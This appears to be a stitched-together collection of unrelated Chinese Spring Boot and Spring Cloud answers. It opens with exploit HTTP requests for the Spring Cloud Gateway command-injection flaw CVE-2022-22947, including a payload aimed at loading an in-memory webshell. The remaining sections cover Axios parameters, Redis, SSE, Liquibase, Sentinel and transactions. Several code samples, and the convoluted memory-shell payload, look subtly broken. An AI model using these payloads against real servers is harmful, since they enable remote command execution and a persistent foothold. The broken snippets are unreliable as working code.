该问题涉及到Spring Cloud Gateway中的一个命令执行漏洞（CVE-2022-22947），该漏洞允许未授权攻击者通过发送特制的HTTP请求在目标服务器上执行任意命令。

复现该漏洞的步骤如下：

1. 确保你有一个Spring Boot应用程序正在使用Spring Cloud Gateway。
2. 使用漏洞利用工具或者手动发送一个HTTP请求，利用Groovy模板表达式注入执行任意命令。

例如，使用如下的HTTP请求可以尝试触发漏洞：

POST /actuator/gateway/routes/hackhttp://command_exec_endpoint HTTP/1.1
Host: your-gateway-host
Accept: */*
Content-Length: length
Content-Type: application/json
 
{
  "id": "hack",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "${T(java.lang.Runtime).getRuntime().exec('your-command')}"
    }
  }],
  "uri": "http://command_exec_endpoint",
  "order": 0
}

替换your-gateway-host为你的网关服务器地址，your-command为你想执行的命令。

针对内存马的需求，你可以在Groovy表达式中使用Base64编码的payload来执行。

POST /actuator/gateway/routes/hack HTTP/1.1
Host: your-gateway-host
Accept: */*
Content-Length: length
Content-Type: application/json
 
{
  "id": "hack",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "${T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).forName(T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getDeclaredMethod('getDeclaredMethod', T(java.lang.Class).forName('[Ljava.lang.Class;')).invoke(null, T(java.lang.Class).forName('[Ljava.lang.Class;').cast([T(java.io.Serializable).class])).getDeclaredMethod('getSystemClassLoader').invoke(null), 'getResourceAsStream', T(java.lang.Class).forName('java.lang.Class')).getResourceAsStream('your-payload-resource').text)}"
    }
  }],
  "uri": "http://command_exec_endpoint",
  "order": 0
}

替换your-payload-resource为你的内存马资源路径。

请注意，实际操作时应确保你有权限执行命令和修改路由配置，且应遵守相关法律法规和道德标准，不得用于非法活动。

在前端使用Axios发送请求时，可以通过不同的方法来携带参数，常见的方法有：

1. 查询参数（Query Parameters）: 通过URL的查询字符串传递参数。
2. 请求体（Request Body）: 使用POST或PUT方法发送数据。

后端在Spring Boot中可以通过@RequestParam、@RequestBody以及@PathVariable来接收不同位置的参数：

• @RequestParam: 获取查询参数或表单数据。
• @RequestBody: 获取请求体中的数据（如JSON）。
• @PathVariable: 获取URL中的路径变量。

以下是一些示例代码：

前端Axios请求：

// 查询参数
axios.get('http://localhost:8080/api/items', {
  params: {
    id: 123
  }
});
 
// 请求体（发送JSON数据）
axios.post('http://localhost:8080/api/items', {
  name: 'Item Name',
  description: 'Item Description'
});

后端Spring Boot控制器：

import org.springframework.web.bind.annotation.*;
 
@RestController
@RequestMapping("/api")
public class ItemController {
 
  // 通过查询参数接收
  @GetMapping("/items")
  public String getItemById(@RequestParam int id) {
    // ...
  }
 
  // 通过路径变量接收
  @GetMapping("/items/{id}")
  public String getItemById(@PathVariable int id) {
    // ...
  }
 
  // 通过请求体接收JSON数据
  @PostMapping("/items")
  public String createItem(@RequestBody Item item) {
    // ...
  }
 
  static class Item {
    private String name;
    private String description;
    // Getters and setters
  }
}

在这个示例中，前端使用Axios发送请求，后端的Spring Boot控制器通过注解@RequestParam、@RequestBody以及@PathVariable来接收参数。

在Spring Cloud项目中，如果你想在common模块中包含Redis的依赖，你需要做的是在common模块的pom.xml文件中添加Redis依赖。以下是一个简化的例子：

1. 在common模块的pom.xml中添加Spring Data Redis依赖：

<dependencies>
    <!-- 其他依赖... -->
 
    <!-- Spring Data Redis -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-data-redis</artifactId>
    </dependency>
 
    <!-- 其他依赖... -->
</dependencies>

2. 确保common模块不包含Spring Boot的自动配置类。通常，你会在应用程序的主模块（也就是引导你应用程序的模块）中添加这些配置类。
3. 在需要使用Redis的服务模块中，添加对common模块的依赖。例如，如果你有一个服务模块叫my-service，你可以在它的pom.xml中添加：

<dependencies>
    <!-- 其他依赖... -->
 
    <!-- 引入common模块，包含了Redis依赖 -->
    <dependency>
        <groupId>你的common模块组ID</groupId>
        <artifactId>common</artifactId>
        <version>你的common模块版本</version>
    </dependency>
 
    <!-- 其他依赖... -->
</dependencies>

4. 在my-service模块的配置类中，你可以使用Spring Data Redis提供的自动配置功能，或者手动配置Redis连接。

确保你的common模块是一个依赖管理的模块，只包含共享的依赖信息，而不包含Spring Boot的自动配置。这样，当其他模块依赖common模块时，它们会继承这些依赖，并且可以根据自己的需求配置特定的自动配置类。

import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.mvc.method.annotation.SseEmitter;
 
@RestController
public class SseController {
 
    @GetMapping(path = "/stream-sse", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
    public SseEmitter handleSse() {
        SseEmitter emitter = new SseEmitter();
 
        // 在新线程中处理长时间连接的逻辑
        new Thread(() -> {
            try {
                // 模拟发送数据
                emitter.send("data: 这是一条服务器发送的消息\n\n");
                // 可以继续发送更多消息...
 
                // 完成发送
                emitter.complete();
            } catch (Exception e) {
                // 发送失败处理
                emitter.completeWithError(e);
            }
        }).start();
 
        return emitter;
    }
}

这段代码展示了如何在Spring Boot应用中使用SseEmitter来创建一个服务器发送事件（SSE）的服务端点。通过发送data事件，我们可以向客户端推送消息。在实际应用中，你可以替换发送的数据为实时更新或者其他需要推送给客户端的信息。

在Spring Boot项目中，要使用Liquibase来适配达梦数据库(DM)并集成Flowable工作流，你需要做以下几步：

1. 添加Liquibase和Flowable的依赖到你的pom.xml或build.gradle文件中。
2. 配置Liquibase的属性，包括指定 changelog 文件的位置。
3. 创建Liquibase的 changelog 文件，包含针对达梦数据库(DM)的初始化和更新操作。
4. 配置Flowable，包括数据库连接和引擎配置。

以下是一个简化的application.properties配置示例：

# Liquibase 配置
spring.liquibase.change-log=classpath:db/changelog/db.changelog-master.xml
spring.liquibase.url=jdbc:dm://localhost:5236/your_database
spring.liquibase.user=your_username
spring.liquibase.password=your_password
 
# Flowable 配置
spring.datasource.url=jdbc:dm://localhost:5236/your_database
spring.datasource.username=your_username
spring.datasource.password=your_password
spring.datasource.driver-class-name=dm.jdbc.driver.DmDriver

Liquibase的 changelog 示例 (db.changelog-master.xml)：

<databaseChangeLog
  xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
                      http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-3.1.xsd">
 
  <changeSet id="1" author="liquibase-docs">
    <createTable tableName="some_table">
      <column name="id" type="int">
        <constraints primaryKey="true" nullable="false"/>
      </column>
      <column name="name" type="varchar(255)">
        <constraints nullable="false"/>
      </column>
    </createTable>
  </changeSet>
  <!-- 其他数据库更改集 -->
</databaseChangeLog>

确保你的Liquibase changelog文件中的SQL语句与达梦数据库的语法相匹配。

最后，确保你的项目中包含了达梦数据库的JDBC驱动，并且Flowable的配置与达梦数据库兼容。

这样，在应用启动时，Liquibase会自动根据你的changelog文件初始化或更新达梦数据库，同时Flowable将使用该数据库来存储工作流相关的数据。

在Spring Boot应用中，要实现公网远程调试，通常需要通过HTTP服务来监听特定端口，并且确保网络安全（防火墙、安全组等）规则允许远程连接。

以下是一个简单的示例，展示如何在Spring Boot应用中配置端口监听：

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.server.ServletWebServerFactory;
import org.springframework.boot.web.servlet.server.ConfigurableServletWebServerFactory;
 
@SpringBootApplication
public class DebugApplication {
 
    public static void main(String[] args) {
        SpringApplication.run(DebugApplication.class, args);
    }
 
    // 使用这种方式可以指定监听的端口
    @Bean
    public ServletWebServerFactory servletContainer() {
        ConfigurableServletWebServerFactory factory = new TomcatServletWebServerFactory();
        factory.setPort(8080); // 设置要监听的端口号
        return factory;
    }
}

在这个例子中，我们通过TomcatServletWebServerFactory设置了应用监听的端口号为8080。你可以根据需要更改这个端口号。

确保在云服务提供商或你的防火墙设置中，将这个端口开放给你希望进行远程调试的客户端。

另外，出于安全考虑，不建议在生产环境中启用公网远程调试功能，因为这可能导致安全隐患。在调试完成后，应该禁用远程调试接口或更改端口号。

import org.springframework.scheduling.annotation.AsyncConfigurer;
import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;
import org.springframework.stereotype.Component;
import java.util.concurrent.Executor;
import java.util.concurrent.ThreadPoolExecutor;
 
@Component
public class AsyncConfig implements AsyncConfigurer {
 
    @Override
    public Executor getAsyncExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(5); // 核心线程数
        executor.setMaxPoolSize(10); // 最大线程数
        executor.setQueueCapacity(25); // 队列大小
        executor.setKeepAliveSeconds(20); // 线程空闲时的存活时间
        executor.setThreadNamePrefix("MyAsyncThread-"); // 线程名前缀
        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); // 拒绝策略
        executor.initialize(); // 初始化线程池
        return executor;
    }
}

这段代码定义了一个AsyncConfig类，实现了AsyncConfigurer接口，并覆盖了getAsyncExecutor方法。在这个方法中，我们创建了一个ThreadPoolTaskExecutor实例，并设置了线程池的核心线程数、最大线程数、队列大小、存活时间以及线程名前缀。我们也设置了拒绝策略，当任务太多无法处理时，调用者运行该任务。最后通过executor.initialize()初始化线程池。这样，我们就可以使用@Async注解来异步执行方法，并且可以自定义线程池的配置。

Spring Boot 应用默认会尝试连接数据库，即使你的服务不需要连接数据库。如果你确保你的应用不需要连接数据库，你可以通过以下方法来确保 Spring Boot 应用正常启动：

1. 在 application.properties 或 application.yml 配置文件中禁用自动配置的数据源：

# application.properties
spring.autoconfigure.exclude=org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration

或者使用 YAML 格式：

# application.yml
spring:
  autoconfigure:
    exclude:
      - org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration

2. 如果你使用的是 JPA，你还需要禁用 JpaRepositoriesAutoConfiguration：

# application.properties
spring.autoconfigure.exclude=org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration,org.springframework.boot.autoconfigure.data.jpa.JpaRepositoriesAutoConfiguration

或者使用 YAML 格式：

# application.yml
spring:
  autoconfigure:
    exclude:
      - org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
      - org.springframework.boot.autoconfigure.data.jpa.JpaRepositoriesAutoConfiguration

通过以上配置，Spring Boot 应用将不会尝试连接数据库，从而确保正常启动。

Sentinel 是 Alibaba 提供的面向分布式服务架构的轻量级流量控制框架，主要以流量为切入点，提供多个维度的流量控制，并保证系统的稳定性。

以下是一个使用 Sentinel 的简单示例，演示如何在 Spring Cloud 应用中集成 Sentinel 来实现基本的资源保护。

1. 在 pom.xml 中添加 Sentinel 依赖：

<dependencies>
    <!-- Sentinel 依赖 -->
    <dependency>
        <groupId>com.alibaba.cloud</groupId>
        <artifactId>spring-cloud-starter-alibaba-sentinel</artifactId>
    </dependency>
</dependencies>

2. 在 application.yml 中配置 Sentinel 控制台信息：

spring:
  cloud:
    sentinel:
      transport:
        dashboard: 127.0.0.1:8080 # Sentinel 控制台地址
        port: 8719 # 默认端口，不需要可以不配置

3. 在你的服务中使用注解来定义需要保护的资源：

import com.alibaba.csp.sentinel.annotation.SentinelResource;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
 
@RestController
public class TestController {
 
    @GetMapping("/test")
    @SentinelResource(value = "test", blockHandler = "handleException")
    public String test() {
        return "Test Sentinel";
    }
 
    public String handleException(BlockException ex) {
        return "Error: " + ex.getMessage();
    }
}

在上述代码中，我们定义了一个名为 "test" 的资源，并指定了流量控制时的异常处理方法 handleException。

4. 启动应用并访问 http://localhost:8080/test，你会看到 "Test Sentinel"。
5. 同时，Sentinel 控制台会显示你的应用资源使用情况，你可以在控制台配置流量控制规则，实现对服务的保护。

以上是一个非常基础的 Sentinel 使用示例，实际应用中你可能需要根据自己的需求进行更复杂的配置和编码。

Spring AOP（面向切面编程）是一种强大的工具，可以让你在不修改现有代码的情况下增加额外的行为。在Spring中，AOP通常用于实现如事务管理、日志记录、权限控制等横切关注点。

Spring事务管理是AOP的一个常见用例。Spring的事务管理器提供了声明式事务管理，这意味着你可以通过注解或XML配置来指定事务的行为，而不需要在业务逻辑中直接编写事务代码。

以下是一个使用Spring AOP和注解来实现事务管理的简单例子：

1. 在Spring配置文件中，启用注解驱动的事务管理器：

<tx:annotation-driven transaction-manager="transactionManager" />

2. 创建事务管理器Bean：

@Bean
public PlatformTransactionManager transactionManager(DataSource dataSource) {
    return new DataSourceTransactionManager(dataSource);
}

3. 在你的服务类或方法上使用@Transactional注解来指定事务的行为：

@Service
public class YourService {
 
    @Transactional
    public void yourMethod() {
        // 业务逻辑
    }
}

@Transactional注解的属性可以用来定制事务的隔离级别、传播行为、超时设置、只读指示等。

确保你的Spring配置包括组件扫描，以便Spring可以发现带有@Transactional注解的类和方法：

<context:component-scan base-package="com.yourpackage" />

以上代码展示了如何使用Spring AOP和注解来管理事务。这样，你就可以在不修改现有代码的情况下增加事务管理的功能。